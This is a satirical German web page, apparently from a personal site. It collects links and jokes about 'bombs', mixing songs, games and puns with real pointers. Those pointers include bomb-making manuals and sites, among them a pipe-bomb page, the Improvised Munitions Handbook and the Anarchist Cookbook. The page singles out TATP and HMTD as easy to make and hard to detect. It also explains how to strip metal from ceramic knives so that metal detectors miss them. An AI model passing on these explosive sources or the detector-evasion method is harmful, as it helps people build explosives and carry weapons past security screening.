Säurebombe (Acid Bomb); nicht zu verwechseln mit Säurezündern.
Grüne Bomben: Nicht nur stärker als Bomben mit TNT sondern auch
ökologisch korrekt durch Sprengstoffe der nächsten Generation wie z. B. Tetrazolen HBT und G2ZT.
23 Bomben-Rezepte
Vitaminbombe
Ein berühmter Fernseh-Bombenbenauer ist
MacGyver, aber
dessen Bomben
sind im Film meist deutlich übertrieben.
In Büchern hingegen findet man meist brauchbare Bombenauanleitungen, beispielsweise:
Schwarzpulver
für Survival - Band 1 Improvisation von Schwarzpulver und ähnlichen
Mischungen, Schwarzpulver
und Sprengsalpeter, Nitroglyzerin
und Dynamit,
Das Lehrbuch der Sprengmeister
und auch Die
Sprengstoffe - Ihre Chemie und Technologie.
Allerdings enthalten Bücher meist wenig zu leicht herstellbaren und schwer
nachweisbaren Sprengstoffe wie
Hexamethylentriperoxiddiamin (HMTD)
und
Triaceton-Triperoxid (TATP).
Zum gefahrlosen Trainieren eigenen sich Programme wie
"Sprengmeister Simulator 2009", die aber meist nur zum Spielen geeignet sind.
Daneben gibt es online auch reichlich Anleitungen um aus leicht erhältlichem
wie Streicholzköpfen, Wunderkerzen oder Sylvester-Knallern Bomben zu bauen,
aber für einfache Explosionen reicht schon wenig Erdgas für eine Gasexplosion
oder ein bischen Mehlstaub für eine Staubexplosion.
Anleitung zum Bau einer Atombombe und der
Hintergrund-Artikel Wie baut man eine Atombombe der Zeit
über den Wert von Bauanleitungen für Kernsprengköpfe und von
tacit knowledge.
Passend dazu gibt es die amtliche Statistik, nach der die
Anzahl der Explosionen durch Kernenergie in Deutschland rückläufig ist:
http://www.quintessenz.org/d/000100002961.
Pornoatombombe
Einführung in die Sprengchemie - Appendix und Erläuterungen
Ein Backup findet man z. B. unter
http://web.archive.org/web/20071012031308/http://www.burks.de/kawumm.html
http://www.idison.de/index.php/explosionen.html
- Do-it-yourself-Explosionen für Hobbyelektroniker und Hobbychemiker.
http://bombenterror.de - Viele Bauanleitungen; von der Rohrbombe bis zur Wasserstoffbombe findet man dort alles.
MAKE A PIPE BOMB (Rohrbombe)
Unter
http://bombenbauanleitungen.de/
findet man allerdings keine Bombenbauanleitungen, im Gegensatz zu
http://bombenbauplaene.de/.
Zum bombigen Feiern eignen sich
T.N.T. Dynamite Parties,
zum bombigen Spielen wie für eine explosive Stimmung bei Fußballspielen eignet sich
TNT Dynamite Soccer.
Sprengstoff-Verein.de: Der berliner Verein für Sprengmeister, Sprengstoff- und Pyrotechnikinteressierte.
Zum bombigen sparen eignet sich
Bomb coin box from Tomy.
Cartoon Bomb.
Die Peta-Finanzbombe.
How to make a Soda Can Bomb.
Zum Bombenbauen, Bombenlegen sowie zum Bombardieren passende Lieder gibt es von Interpreten wie Dynamite Deluxe; beispielsweise
das Lied
Bombs,
Dynamite Deluxe: TNT und Dynamite Deluxe: Dynamit
und natürlich den Klassiker
TNT Dynamite von AC/DC
sowie
Spiel mir das lied vom Tod.
Deutlich altmodischere Lieder sind beispielsweise
"Bomben auf England", die man auch in diversen Tauschbörsen online findet und die
es auch als Klingelton gibt.
Auf Musik-Seiten wie www.pandora.com findet man dutzende weitere Lieder: Allein
pandora.com listet 30 verschiedene Lieder mit Dynamite im Titel!
Dort findet man auch Musik zum Entschärfen von Bomben; beispielsweise
How to Dismantle an Atomic Bomb.
Zudem gibt es auch bombige Bands wie z. B.
COTTONBOMB, und bombige Alben wie z. B.
Bombe.
Im Magazin
Bomb findet man allerdings praktisch nichts zu Bomben.
Richtig gute Bombenbau-Kurse, auch mit Übungssprengungen und Kursen zur
effizienten Neutralisierung von Menschen, Maschinen und Gebäuden gibt es bei
der Bundeswehr
und den meisten anderen Armeen, aber generell nur für registrierte
Gefechtsfeld-Manager (früher Soldaten genannt)
und gedacht hauptsächlich zur
Friedenserzwingung (früher Krieg genannt).
Hierfür wird u. A. das
Bombodrom
verwendet und dazu gibt es beispielsweise das
Improvised Munitions Handbook
das zwar nur konventionelles enthält, aber dies relativ ausführlich,
inklusive Minen, Granaten, Raketen Zündverzögerer usw. auch mit
Abbildungen erläutert.
Zur Theorie, z. B. die Berechnung der optimalen Explosions-Höhe als Funktion
der Sprengkraft (Machstammeffekt), den Sicherheitsvorschriften und den
erforderlichen Genehmigungsverfahren
findet man in diesem Buch allerdings praktisch nichts.
Neben den realen Armeen und Bomben gibt es "Cyberarmeen" wie das
Cyber Security Operations Centre (CSOC)
und diese verwenden auch die oben
beschriebenen virtuellen Bomben. Juristisch hat dies aber mit Armeen oder
Krieg nichts zu und folglich kann sich ein "Cyberkrieger" nicht auf das
Kriegsvölkerrecht, z. B. die Genfer Konventionen, berufen.
Farbbomben und andere Spielereien findet man im Klassiker
Anarchist Cookbook und Anleitungen zum Bombenlegen im Buch
Hit Man.
Links u. A. zum Badminds Cookbook , das dem
Anarchist Cookbook ähnelt, findet man unter http://www.burks.de/forum/phpBB2/viewtopic.php?p=33557.
Ähnliche Klassiker sind das
Anarchist's Arsenal
und
Advanced Anarchist Arsenal.
Bei Bombenbauern beliebt sind neben
Explosionszeichnungen
auch für Metall-Detektoren unsichtbares Zubehör wie
Keramik-Messer, die es in Discountern wie Norma ab 8,99 EUR gibt:
http://norma-online.de/_de_/_angebote_/_ab-mittwoch-19.12._/
Allerdings kann der Griff Metall enthalten; viele Keramik-Messer sind deshalb für
Metall-Detektoren nicht unsichtbar, so wie auch die meisten "metallfreien" Minen,
die aus Kostengründen fast immer eine Sprengkapsel aus Aluminium enthalten.
Enthält ein Keramikmesser nur wenig Metall, kann man es mit Säuren wie
Salzsäure meist relativ leicht wegätzen und dünne Metall-Schichten kann
man meist in einem Mikrowellen-Grill verdampfen.
Vor allem bei nächtlichen Bombenbauern beliebt sind Nachtsichtgeräte mit
integrierter zuschaltbarer Infrarotbeleuchtung zur Beobachtung bei völliger
Dunkelheit, die es bei Discountern wie Plus und Lidl ab 129 Euro gibt:
http://www.discounto.de/Angebot/Nachtsichtgeraet-3x40-9613/.
Echte Bombenbauer wohnen vorzugsweise im
Dorf Killer (PLZ 72393) im Killertal, trainieren
natürlich in
Leichendorf
und bevorzugen zum
Bomben-Transport natürlich TNT, also für Paket-Bomben
den Express-Versand von TNT und für Brief-Bomben die Post
von
http://www.tnt.com/.
Für echte Bombenbauer gibt es Semtex unter Anderem auch als Energy-Drink
und als Kleidung:
http://prague.tv/articles/zine/semtex.
Für Terror hingegen nimmt man aber ganz andere Mittel, insbesondere für Soft
Targets wie Wäsche, Hände und Bakterien (Quelle:
http://www.boingboing.net/2006/10/18/now-this-liquidgel-d.html):
Eine wahre Fundgrube an Bombenbauanleitungen sind die Patentämter, z. B. über die Patent-Suche mittels Google:
http://www.google.com/patents?q=bomb&btnG=Search+Patents.
Weitere Suchmöglichkeiten findet man hier:
http://www.at-web.de/blog/20070106/google-patentsuche.htm.
Für Bombenstimmung findet man auf www.perl.de
PC-gesteuerte Raketenwerfer mit echt fliegenden Raketen,
Bomberfun,
Bomberman,
Fliegende Bomben,
Autobomben,
Wasserbomben,
Bomb Jack und einiges andere, aber bisher keine
Zombie-Bomber.
Ebenfalls für Bombenstimmung findet man auf
ebay.de einiges;
beispielsweise den Film "Die nackte Bombe", "Die nakte Bombe II"
usw..
Anschlagpuffer
- können Anschläge zwar nicht verhindern aber so abpuffern das sie völlig
ungefährlich sind!
Ideal auch zum Testen sowie Vorbereiten von Anschlägen.
Ebenfalls zum Vorbereiten und Durchführen von Anschlägen gemacht sind spezielle
Formulare wie das
Anthraxformular: Die Checkliste für
biologische Anschläge und mit nur rund 260 Anschlägen
(Schreibmaschienen-Anschlägen) ausgeflüllt.
Rush for the Bomb: Das bombige Add-On zum vielfach preisgekrönten Taktik-Hit "Rush for Berlin"!
Die Bombe unter der Achselhöhle
Käse als Übungsbombe und warum in US-Flughäfen
Handy-Ladegeräte höchst verdächtig sind und Käse
quasi verboten ist.
Über 200.000 Bomben findet man auf Youtube; insbesondere Cola-Bomben!
Sprengen und sparen!!!
Warum der Vorname Bob in australischen Flugzeugen Bombenalarm
auslöst und wieso es in Australien extralegal (früher illegal genannt) ist auf
einen unbenutzten Spuckbeutel die Abkürzung oder den Namen "BOB" zu
schreiben.
Schließlich haben die Australier das
Terrorbyte erfunden.
Warum in USA alles eine Bombe ist.
Passend dazu gibt es auch den Hoster BombDrop in USA:
http://www.bombdrop.net/
Detonationen ohne Sprengstoff kann man beispielsweise auch mit Hochspannung
erzeugen:
http://www.powerlabs.org/emguns.htm
Bombige Museen
AtomicBombMuseum.org
The Nuclear Weapon Archive
Trinity Atomic Web Site
Bombige Zitate
Die Bombardierung beginnt in 5 Minuten!
Mikrofon-Test-Text von Ronald Reagan, 11. August 1984
Werbung
|
|